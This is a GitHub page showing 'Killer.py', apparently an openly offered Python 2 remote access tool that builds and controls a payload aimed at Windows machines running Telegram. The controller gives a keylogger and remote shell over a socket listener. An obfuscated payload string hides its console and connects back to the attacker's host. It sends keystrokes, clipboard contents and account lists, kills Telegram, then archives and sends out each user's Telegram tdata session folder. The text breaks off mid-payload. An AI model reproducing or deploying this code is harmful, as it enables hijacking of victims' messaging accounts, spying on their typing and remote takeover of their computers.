-
Notifications
You must be signed in to change notification settings - Fork 1
/
Killer.py
446 lines (438 loc) · 35.4 KB
/
Killer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
# -*- coding: UTF-8 -*-
import socket
from os import system,popen,path,remove
import sys
from colorama import Fore,init,Back
from random import random
import time
init(autoreset=True)
def download_tdata(client,file_save):
try:
data_file=client.recv(1024)
except:
print Back.BLUE+"\nSession Closed\n"
return False
else:
while(data_file):
if 'pishmarg' in data_file:
break
else:
file_save.write(data_file)
try:
data_file=victim.recv(1024)
except:
print Back.BLUE+"\nSession Closed\n"
return False
break
data_file=data_file.replace('pishmarg','')
if len(data_file)!=0:
file_save.write(data_file)
def check_integer(num):
try:
int(num)
except:
return False
else:
return True
def shell_or_keylogger(client):
print Fore.BLACK+"#"*39
print Fore.WHITE+"ID\tItem"
print Fore.WHITE+"===\t===="
print Fore.GREEN+"[0]\t"+Fore.YELLOW+"Keylogger"
print Fore.GREEN+"[1]\t"+Fore.YELLOW+"Shell\n"
print Fore.WHITE+"\n====\t====\n"+Fore.GREEN+"[99]"+Fore.YELLOW+"\texit\n"
licen_item=0
while True:
try:
soks=raw_input(Fore.CYAN+'SELECT> ')
except:
pass
if soks=='1' or soks=='0':
if soks=='0':
try:
client.send('keylo')
except:
print Back.BLUE+"\nSession Closed\n"
return False
break
else:
licen_item=1
break
elif soks=='1':
try:
client.send('shell')
except:
print Back.BLUE+"\nSession Closed\n"
return False
break
else:
licen_item=2
break
elif soks=='99':
print
break
else:
print "\nInvalid ID\n"
if licen_item==1:
try:
save_file=raw_input('\nSave Logs?[y,n]')
except:
pass
licen_lf=0
if save_file in ['Y','y','yes','YES','Yes']:
print "\nSave -> logs_file.txt"
file_logs=open('logs_file.txt','a')
file_logs.write('\n----------------------\n')
file_logs.close()
licen_lf=1
client.send('y')
print 'For Stop Keylogger ---> [Ctrl + C]'
print "\nSTART Keylogger"
print "---------------"
while True:
try:
while True:
client.send('n')
event_=client.recv(1024)
if event_=='null':
break
else:
if 'PID' in event_:
print event_.replace('null','')
if licen_lf==1:
file_logs=open('logs_file.txt','a')
file_logs.write('\n'+event_.replace('null','')+' ')
file_logs.close()
else:
if event_.replace('null','')!='':
print event_.replace('null','')
if licen_lf==1:
file_logs=open('logs_file.txt','a')
file_logs.write(event_.replace('null','')+' ')
file_logs.close()
except socket.error:
print Back.BLUE+'\nSesssin Closed\n'
return False
break
except:
print '\n\nSTOP Keylogger\n'
client.send('not')
return True
break
if licen_lf==1:
file_logs.close()
elif licen_item==2:
print 'For Stop Shell ---> [type exit and enter]\n'
print '\nSTART Shell'
print '---------------'
while True:
my_path=client.recv(10240)
if my_path!='null':
break
time.sleep(1)
try:
list_drive=client.recv(20).split(':')
except:
print Back.BLUE+"\nSession Closed\n"
return False
else:
while True:
try:
cmd=raw_input(my_path+'>')
except:
pass
cmd=cmd.replace('\"','').replace('\'','')
try:
if cmd[0:3]=='cd ' and len(cmd)>3:
client.send(cmd)
time.sleep(1)
res=client.recv(10240)
if res=='not':
print "The system cannot find the drive specified.\n"
else:
my_path=res
elif cmd.upper()[0] in list_drive and cmd[1]==':' and len(cmd)==2:
client.send(cmd)
time.sleep(1)
res=client.recv(10240)
if res=='not':
print "The system cannot find the drive specified.\n"
else:
my_path=res
elif cmd.split()[0]=='exit':
try:
client.send('break')
print '\n\nSTOP Shell\n'
except:
return False
break
else:
return True
break
else:
client.send(cmd)
time.sleep(1)
print client.recv(10240)
except socket.error:
print Back.BLUE+'\nSesssin Closed\n'
return False
break
except:
client.send('break')
print '\nSTOP Shell\n'
return True
break
def banner():
if sys.platform[0:3]=='win':
system('cls')
else:
exit()
print Fore.GREEN+u""" ╔══════════════════════════════════════════════════════════════════════════════════╗
║ \x1b[36m████████╗███████╗██╗ ███████╗ ██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ \x1b[32m ║
║ \x1b[36m╚══██╔══╝██╔════╝██║ ██╔════╝ ██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ \x1b[32m║
║ \x1b[36m██║ █████╗ ██║ █████╗ █████╔╝ ██║██║ ██║ █████╗ ██████╔╝\x1b[32m ║
║ \x1b[36m██║ ██╔══╝ ██║ ██╔══╝ ██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗\x1b[32m ║
║ \x1b[36m██║ ███████╗███████╗███████╗ ██║ ██╗██║███████╗███████╗███████╗██║ ██║\x1b[32m ║
║ \x1b[36m╚═╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝\x1b[32m ║
╚═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦═╦════════════════════════════════════╝
╔═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╩═╗
║\x1b[33m Github : Pencariilmu\x1b[32m ║
║\x1b[33m Fb : @ahmadchenwangxuesi\x1b[32m ║
║\x1b[33m Developers : AnonymousCyberTeam \x1b[32m ║
╚═══════════════════════════════════════════════╝
\n\x1b[37m OPTIONS:\n\n\t(\x1b[41m1\x1b[0m\x1b[37m) Generate\n\n\t(\x1b[41m2\x1b[0m\x1b[37m) Listening\n\n\t(\x1b[41m3\x1b[0m\x1b[37m) Exit\n"""
def check_install_module():
pip_install=popen('pip freeze').read()
list_module=[
'altgraph'
,'colorama'
,'dis3'
,'future'
,'macholib'
,'pefile'
,'pywin32-ctypes'
,'PyInstaller'
,'pyHook'
,'pywin32==220']
lfm=[]
for m in list_module:
if m not in pip_install:
lfm.append(m)
if len(lfm)!=0:
system('cls')
print Fore.WHITE+"="*31
for fi in lfm:
print fi.replace('==220',''),'-> Not Installed'
print Fore.WHITE+"="*31
try:
raw_input()
except:
pass
exit()
check_install_module()
banner()
while True:
try:
cmd=raw_input(Fore.MAGENTA+'root@Killer\x1b[37m:\x1b[34m~\x1b[37m#\x1b[0m ')
except:
banner()
if cmd=='3':
break
elif cmd=='2':
print
lhost=raw_input(Fore.RED+'LHOST-> ')
if lhost=='':
lhost=socket.gethostbyname(socket.gethostname())
print Fore.GREEN+'\nDefault LHOST : %s\n'%(lhost)
else:
print Fore.GREEN+'\nLHOST : '+lhost+'\n'
lport=raw_input(Fore.RED+'LPORT-> ')
if lport=='':
lport=4444
print Fore.GREEN+'\nDefault LPORT : 4444\n'
else:
print Fore.GREEN+'\nLPORT : '+lport+'\n'
if check_integer(lport)==True:
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
lport=int(lport)
server.bind((lhost,lport))
except socket.error:
print Fore.RED+'[!]\x1b[0mCan\'t Bind %s:%s'%(lhost,lport)
else:
try:
print Fore.RED+'\nListening'
print Fore.CYAN+'[#]\x1b[37m%s:%s\x1b[0m'%(lhost,lport)
server.listen(1)
except:
print Fore.RED+'[!]\x1b[0mCan\'t Listen %s:%s'%(lhost,lport)
else:
victim,addr=server.accept()
licen_process=True
print Fore.BLUE+'\n[*]\x1b[37mSession OPENED\x1b[0m'
print Fore.BLUE+'[*]\x1b[37mVictim IP(%s)\x1b[0m'%(addr[0])
try:
hostname=victim.recv(1024)
except:
print Back.BLUE+"\nSession Closed\n"
else:
try:
os_name=victim.recv(1024)
except:
print Back.BLUE+"\nSession Closed\n"
else:
print Fore.BLUE+'[*]\x1b[37mHostname (%s)\x1b[0m'%(hostname)
print Fore.BLUE+'[*]\x1b[37mOS name (%s)\x1b[0m'%(os_name)
print Fore.WHITE+'\nID\tUser List\n===\t========='
user_list=victim.recv(10240)
id_user=0
user_list=user_list.split('\', \'')
for user in user_list:
print Fore.GREEN+'['+str(id_user)+']\t'+Fore.YELLOW+user
id_user+=1
print
print Fore.WHITE+'\n====\t====\n'+Fore.GREEN+'[99]\t'+Fore.YELLOW+'exit'
print
licen_download_tdata=''
csf=False
while True:
try:
select_user=raw_input(Fore.CYAN+'SELECT> ')
except:
pass
if select_user=='99':
try:
victim.send('break')
except socket.error:
csf=False
print Back.BLUE+"\nSession Closed\n"
break
elif check_integer(select_user)==True:
if int(select_user)==0 or int(select_user)<=id_user:
try:
victim.send(user_list[int(select_user)])
except:
print Back.BLUE+"\nSession Closed\n"
break
else:
licen_download_tdata=victim.recv(3)
if licen_download_tdata=='yes':
break
else:
print '\n'+user_list[int(select_user)]+' Has Not Telegram\n'
else:
print "\nInvalid ID\n"
else:
print "\nInvalid ID\n"
rd=None
if licen_download_tdata=='yes':
print Fore.MAGENTA+'\nStart Download (TDATA) Folder\n'+Fore.GREEN+'============================='
print ''
random_name='tdata_'+str(random()).replace('0.','')+'.tar.bz2'
popen('mkdir downloads').read()
f=open('./downloads/'+random_name,'wb')
rd=download_tdata(victim,f)
if rd==False:
print Back.RED+"\nBreak Download (TDATA) Folder\n"
else:
print Fore.CYAN+'Save -> downloads/'+random_name
print Fore.GREEN+'\n=============================\n'
f.close()
print
if csf==False and rd==None:
while True:
try:
qks=raw_input('You Can Access Shell Or Keylogger?[y/n]')
except:
pass
if qks in ['YES','yes','Yes','y','Y']:
session_status=shell_or_keylogger(victim)
if session_status==True:
pass
else:
break
elif qks in ['N','n','No','NO','no']:
break
else:
print "\nInvalid : Enter y OR n\n"
elif cmd=='1':
print
lhost=raw_input(Fore.GREEN+'LHOST-> ')
if lhost=='':
lhost=socket.gethostbyname(socket.gethostname())
print Fore.RED+'\nDefault LHOST : '+lhost+'\n'
else:
print Fore.RED+'\nLHOST : '+lhost+'\n'
lport=raw_input(Fore.GREEN+'LPORT-> ')
if lport=='':
lport=4444
print Fore.RED+'\nDefault LPORT : 4444\n'
else:
print Fore.RED+'\nLPORT : '+lport+'\n'
payload_name=raw_input(Fore.GREEN+'NAME-> ')
if payload_name=='':
payload_name='payload'
print Fore.RED+'\nDefault NAME : payload\n'
else:
print Fore.RED+'\nNAME : '+payload_name+'\n'
source_payload='from win32gui import ShowWindow\r\nfrom win32console import GetConsoleWindow\r\ndef a88f05b6c963e145a45b58c47cd42a41():\r\n\tb5b8c74cbd96fbf2de4c1a3527b2fbf4=GetConsoleWindow()\r\n\tShowWindow(b5b8c74cbd96fbf2de4c1a3527b2fbf4,0)\r\n\treturn True\r\na88f05b6c963e145a45b58c47cd42a41()\r\nfrom win32console import GetConsoleWindow\r\nfrom ctypes import *\r\nimport time\r\nfrom subprocess import PIPE,Popen\r\nfrom win32clipboard import OpenClipboard,CloseClipboard,GetClipboardData\r\nfrom pythoncom import PumpWaitingMessages\r\nfrom win32gui import ShowWindow\r\nfrom socket import socket,AF_INET,SOCK_STREAM,gethostname\r\nfrom shutil import make_archive\r\nfrom pyHook import HookManager\r\nfrom os import system,popen,path,chdir\r\nfrom threading import Thread\r\nb3c7cbace395d8b182dbb7ae2c3bfb34=socket(AF_INET,SOCK_STREAM)\r\nb3c7cbace395d8b182dbb7ae2c3bfb34.connect((\'{}\',{}))\r\ndef cefda4932d283cb7f67b9f73fb6e0f14():\r\n d21dbd2c4e178b2cb55dce0c6a43effc=windll.user32\r\n b0484c19f1afdaf3841a0d821ed393d2=windll.kernel32\r\n b0180794a2f65cf48e8d77729a05b926=windll.psapi\r\n global dea181b04ba971dfa9667785debd1ba7\r\n dea181b04ba971dfa9667785debd1ba7=None\r\n def b33530fd4c255242ea04c06ab6895b45():\r\n b25ffa68ad761f8578cc61700c0140ed=d21dbd2c4e178b2cb55dce0c6a43effc.GetForegroundWindow()\r\n bdb32b9e1adc6d67be435a81baf9a66e=c_ulong(0)\r\n d21dbd2c4e178b2cb55dce0c6a43effc.GetWindowThreadProcessId(b25ffa68ad761f8578cc61700c0140ed,byref(bdb32b9e1adc6d67be435a81baf9a66e))\r\n c9cf7ee85456cd274986e0e317358174="%d"%bdb32b9e1adc6d67be435a81baf9a66e.value\r\n ee7004c7949d83f130592f15d98ca343=create_string_buffer("\\x00"*512)\r\n b1c18a5e5fa78d7980e81f27c5286002=b0484c19f1afdaf3841a0d821ed393d2.OpenProcess(0x400|0x10,False,bdb32b9e1adc6d67be435a81baf9a66e)\r\n b0180794a2f65cf48e8d77729a05b926.GetModuleBaseNameA(b1c18a5e5fa78d7980e81f27c5286002,None,byref(ee7004c7949d83f130592f15d98ca343),512)\r\n b7d36dcb6d03b8fa977d80032a6bb990=create_string_buffer("\\x00"*512)\r\n bfa47f7c65fec19cc163b1957b5e3844=d21dbd2c4e178b2cb55dce0c6a43effc.GetWindowTextA(b25ffa68ad761f8578cc61700c0140ed,byref(b7d36dcb6d03b8fa977d80032a6bb990),512)\r\n fdf206e60de0ef6aa76cb2398adecd4d="<PID %s> - %s - %s "%(c9cf7ee85456cd274986e0e317358174,ee7004c7949d83f130592f15d98ca343.value,b7d36dcb6d03b8fa977d80032a6bb990.value)\r\n b3c7cbace395d8b182dbb7ae2c3bfb34.send(fdf206e60de0ef6aa76cb2398adecd4d)\r\n def b954f27ca739ea6b036fcb11d43427a1(event):\r\n global bcdb92b7b97ef94b9ae4479d3f4ef0fc\r\n global dea181b04ba971dfa9667785debd1ba7\r\n if event.WindowName!=dea181b04ba971dfa9667785debd1ba7:\r\n dea181b04ba971dfa9667785debd1ba7=event.WindowName\r\n b33530fd4c255242ea04c06ab6895b45()\r\n if event.Ascii>=33 and event.Ascii<=126:\r\n b4f802ebfba977727845e8872cb743a7=chr(event.Ascii)\r\n if len(b4f802ebfba977727845e8872cb743a7)==1:\r\n b4f802ebfba977727845e8872cb743a7=b4f802ebfba977727845e8872cb743a7.upper()\r\n else:\r\n b4f802ebfba977727845e8872cb743a7=event.Key\r\n if len(b4f802ebfba977727845e8872cb743a7)==1:\r\n b4f802ebfba977727845e8872cb743a7=b4f802ebfba977727845e8872cb743a7.upper()\r\n if b4f802ebfba977727845e8872cb743a7==\'Tab\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Tab>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Lcontrol\':\r\n b4f802ebfba977727845e8872cb743a7=\'<L Control>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Rcontrol\':\r\n b4f802ebfba977727845e8872cb743a7=\'<R Control>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Capital\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Caps Lock>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Lmenu\':\r\n b4f802ebfba977727845e8872cb743a7=\'<L Alt>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Rmenu\':\r\n b4f802ebfba977727845e8872cb743a7=\'<R Alt>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Lwin\':\r\n b4f802ebfba977727845e8872cb743a7=\'<L Win>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Escape\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Escape>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Rshift\':\r\n b4f802ebfba977727845e8872cb743a7=\'<R Shift>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Lshift\':\r\n b4f802ebfba977727845e8872cb743a7=\'<L Shift>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Left\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Left>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Up\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Up>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Down\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Down>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Right\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Right>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Delete\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Del>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Insert\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Ins>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Oem_Plus\':\r\n b4f802ebfba977727845e8872cb743a7=\'<+>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Oem_Minus\':\r\n b4f802ebfba977727845e8872cb743a7=\'<->\'\r\n if b4f802ebfba977727845e8872cb743a7==\'End\':\r\n b4f802ebfba977727845e8872cb743a7=\'<End>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Next\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Next>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Home\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Home>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Clear\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Clear>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Space\':\r\n \tb4f802ebfba977727845e8872cb743a7=\'<Space>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Prior\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Prior>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Numlock\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Num lock>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Snapshot\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Snapshot>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Back\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Back Space>\'\r\n if b4f802ebfba977727845e8872cb743a7==\'Return\':\r\n b4f802ebfba977727845e8872cb743a7=\'<Enter>\'\r\n if b4f802ebfba977727845e8872cb743a7[0]==\'F\' and len(b4f802ebfba977727845e8872cb743a7)==2 or b4f802ebfba977727845e8872cb743a7 in [\'F12\',\'F11\',\'F10\'] :\r\n b4f802ebfba977727845e8872cb743a7=\'<\'+b4f802ebfba977727845e8872cb743a7+\'>\'\r\n bcdb92b7b97ef94b9ae4479d3f4ef0fc=bcdb92b7b97ef94b9ae4479d3f4ef0fc+b4f802ebfba977727845e8872cb743a7\r\n b3c7cbace395d8b182dbb7ae2c3bfb34.send(bcdb92b7b97ef94b9ae4479d3f4ef0fc)\r\n if bcdb92b7b97ef94b9ae4479d3f4ef0fc==\'V\':\r\n OpenClipboard()\r\n try:\r\n b62a04d2d4b82bfc1e10bb49c416e705=\'<Clipboard:\'+GetClipboardData()+\'>\'\r\n except:\r\n b62a04d2d4b82bfc1e10bb49c416e705=\'<Clipboard:ONE FILE PASTED>\'\r\n b3c7cbace395d8b182dbb7ae2c3bfb34.send(b62a04d2d4b82bfc1e10bb49c416e705)\r\n CloseClipboard()\r\n bcdb92b7b97ef94b9ae4479d3f4ef0fc=\'\'\r\n global bcdb92b7b97ef94b9ae4479d3f4ef0fc\r\n bcdb92b7b97ef94b9ae4479d3f4ef0fc=\'\'\r\n be8f80182e0c983916da7338c2c1c040=HookManager()\r\n be8f80182e0c983916da7338c2c1c040.KeyDown=b954f27ca739ea6b036fcb11d43427a1\r\n be8f80182e0c983916da7338c2c1c040.HookKeyboard()\r\n while True:\r\n b277e0910d750195b44b797616e091ad=b3c7cbace395d8b182dbb7ae2c3bfb34.recv(3)\r\n if b277e0910d750195b44b797616e091ad==\'not\':\r\n break\r\n try:\r\n b3c7cbace395d8b182dbb7ae2c3bfb34.send(\'null\')\r\n except:\r\n \tpass\r\n PumpWaitingMessages()\r\ndef bedc6d1c31802fb5f8093a2a0fbe7f1d(cf1e8c14e54505f60aa10ceb8d5d8ab3):\r\n\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(popen(\'cd\').read().replace(\'\\n\',\'\'))\r\n\tbd54dae327eb0f2f1af1d6b8308b43bf=popen(\'wmic logicaldisk get name\').read().replace(\'\\n\',\'\').replace(\'\\r\',\'\').replace(\' \',\'\').replace(\'Name\',\'\')[:-1]\r\n\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(bd54dae327eb0f2f1af1d6b8308b43bf)\r\n\tbd54dae327eb0f2f1af1d6b8308b43bf=bd54dae327eb0f2f1af1d6b8308b43bf.split(\':\')\r\n\twhile True:\r\n\t\te22d1158ddbc0d305521e03ebf67c940=cf1e8c14e54505f60aa10ceb8d5d8ab3.recv(10240)\r\n\t\tif e22d1158ddbc0d305521e03ebf67c940.split()[0]==\'exit\':\r\n\t break\r\n\t\tif e22d1158ddbc0d305521e03ebf67c940[0:3]==\'cd \' and len(e22d1158ddbc0d305521e03ebf67c940)>3:\r\n\t\t\ttry:\r\n\t\t\t\tchdir(e22d1158ddbc0d305521e03ebf67c940[3:])\r\n\t\t\texcept:\r\n\t\t\t\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(\'not\')\r\n\t\t\telse:\r\n\t\t\t\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(popen(\'cd\').read().replace(\'\\n\',\'\'))\r\n\t\telif e22d1158ddbc0d305521e03ebf67c940[0].upper() in bd54dae327eb0f2f1af1d6b8308b43bf and e22d1158ddbc0d305521e03ebf67c940[1]==\':\' and len(e22d1158ddbc0d305521e03ebf67c940)==2:\r\n\t\t\tprint e22d1158ddbc0d305521e03ebf67c940[0:2]\r\n\t\t\ttry:\r\n\t\t\t\tchdir(e22d1158ddbc0d305521e03ebf67c940[0:2])\r\n\t\t\texcept:\r\n\t\t\t\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(\'not\')\r\n\t\t\telse:\r\n\t\t\t\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(popen(\'cd\').read().replace(\'\\n\',\'\'))\r\n\t\telif e22d1158ddbc0d305521e03ebf67c940.split()[0]==\'break\':\r\n\t\t\tbreak\r\n\t\telse: \r\n\t\t\tb4a88417b3d0170d754c647c30b7216a=Popen(e22d1158ddbc0d305521e03ebf67c940.split(),stdout=PIPE,stderr=PIPE,shell=True)\r\n\t\t\tc691f4f0391daffaf07b1aae26afe284=list(b4a88417b3d0170d754c647c30b7216a.communicate())\r\n\t\t\ttime.sleep(1)\r\n\t\t\tif c691f4f0391daffaf07b1aae26afe284[0]!=\'\':\r\n\t\t\t\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(c691f4f0391daffaf07b1aae26afe284[0])\r\n\t\t\telif c691f4f0391daffaf07b1aae26afe284[1]!=\'\':\r\n\t\t\t\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(c691f4f0391daffaf07b1aae26afe284[1])\r\n\t\t\telse:\r\n\t\t\t\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(\'\\n\')\r\ndef b9a960b9fa32b73b073cbeeb8778bc07(bacb3a53bbc6cb5e6dc33b8894fb9273,cf1e8c14e54505f60aa10ceb8d5d8ab3):\r\n def d81b319acd5cde0c43519a80a0cc73da(d0d38ad301246b77fbc4ba4881d40d48):\r\n make_archive(\'C:\\\\Users\\\\\'+d0d38ad301246b77fbc4ba4881d40d48+\'\\\\AppData\\\\Roaming\\\\tdata\', format="bztar", root_dir=\'C:\\\\Users\\\\\'+d0d38ad301246b77fbc4ba4881d40d48+\'\\\\AppData\\\\Roaming\\\\Telegram Desktop\\\\tdata\\\\\')\r\n d6e1ca84308e59169ffc76620d290136=Thread(target=d81b319acd5cde0c43519a80a0cc73da,args=(bacb3a53bbc6cb5e6dc33b8894fb9273,))\r\n d6e1ca84308e59169ffc76620d290136.run()\r\n\tbfa14cdd754f91cc6554c9e71929cce7=open(\'C:\\\\Users\\\\\'+bacb3a53bbc6cb5e6dc33b8894fb9273+\'\\\\AppData\\\\Roaming\\\\tdata.tar.bz2\',\'rb\')\r\n\tb9ca76e40bd85486be59b0cdbe8de29a=bfa14cdd754f91cc6554c9e71929cce7.read(1024)\r\n\twhile b9ca76e40bd85486be59b0cdbe8de29a:\r\n\t\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(b9ca76e40bd85486be59b0cdbe8de29a)\r\n\t\tb9ca76e40bd85486be59b0cdbe8de29a=bfa14cdd754f91cc6554c9e71929cce7.read(1024)\r\n\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(b9ca76e40bd85486be59b0cdbe8de29a+\'pishmarg\')\r\n\tbfa14cdd754f91cc6554c9e71929cce7.close()\r\n\tpopen(\'del /Q C:\\\\Users\\\\\'+bacb3a53bbc6cb5e6dc33b8894fb9273+\'\\\\AppData\\\\Roaming\\\\tdata.tar.bz2\')\r\ndef b99567fc82b671ea4bbe6c1f8864519b():\r\n\tif \'Telegram.exe\' in popen(\'tasklist\').read():\r\n\t\tbe366bd1bb675bd57058fd4664205d2a=popen(\'taskkill /F /IM Telegram.exe /T\').read()\r\n\t\tdel be366bd1bb675bd57058fd4664205d2a\r\ndef b4fe3e64ea8bb746756d4a7dea73d285(cf1e8c14e54505f60aa10ceb8d5d8ab3):\r\n\tb897acf49c7c1ea9f76efe59187aab46=gethostname()\r\n\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(b897acf49c7c1ea9f76efe59187aab46)\r\ndef bd6137dcd51ff11ce87f4b447b7514f3(cf1e8c14e54505f60aa10ceb8d5d8ab3):\r\n\tae3f135dfd5660fe4d35e91db1286117=popen(\'systeminfo | findstr /B /C:\\"OS Name"\').read()\r\n\tb4e5375fba9e1b1181d3bde6bdb98db9=ae3f135dfd5660fe4d35e91db1286117.replace(\'OS Name: \',\'\').replace(\'\\n\',\'\')\r\n\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(b4e5375fba9e1b1181d3bde6bdb98db9)\r\ndef db63e160e64b2c4cc5d80deac01c8989(cf1e8c14e54505f60aa10ceb8d5d8ab3):\r\n\tbc65c2abec141778ffaa7248f3e87=popen(\'net localgroup users && net localgroup Administrators\').read()\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87.replace(\'Alias name users\\n\',\'\')\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87.replace(\'Comment Users are prevented from making accidental or intentional system-wide changes and can run most applications\\n\\n\',\'\')\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87.replace(\'Members\\n\\n\',\'\')\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87.replace(\'-------------------------------------------------------------------------------\\n\',\'\')\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87.replace(\'NT AUTHORITY\\\\Authenticated Users\\n\',\'\')\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87.replace(\'NT AUTHORITY\\\\INTERACTIVE\\n\',\'\')\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87.replace(\'The command completed successfully.\\n\\n\',\'\')\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87.replace(\'Alias name Administrators\\n\',\'\')\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87.replace(\'Comment Administrators have complete and unrestricted access to the computer/domain\\n\\n\',\'\')\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87.replace(\'Administrator\\n\',\'\')\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87.split(\'\\n\')\r\n\tdel bc65c2abec141778ffaa7248f3e87[-1]\r\n\tbc65c2abec141778ffaa7248f3e87=str(list(set(bc65c2abec141778ffaa7248f3e87)))\r\n\tbc65c2abec141778ffaa7248f3e87=bc65c2abec141778ffaa7248f3e87[2:-2]\r\n\tcf1e8c14e54505f60aa10ceb8d5d8ab3.send(bc65c2abec141778ffaa7248f3e87)\r\nb4fe3e64ea8bb746756d4a7dea73d285(b3c7cbace395d8b182dbb7ae2c3bfb34)\r\nbd6137dcd51ff11ce87f4b447b7514f3(b3c7cbace395d8b182dbb7ae2c3bfb34)\r\ndb63e160e64b2c4cc5d80deac01c8989(b3c7cbace395d8b182dbb7ae2c3bfb34)\r\nb0723c29c59c0fed25a7324a0ee4096b=0\r\nwhile True:\r\n\tee11cbb19052e40b07aac0ca060c23ee=b3c7cbace395d8b182dbb7ae2c3bfb34.recv(1024)\r\n\tif 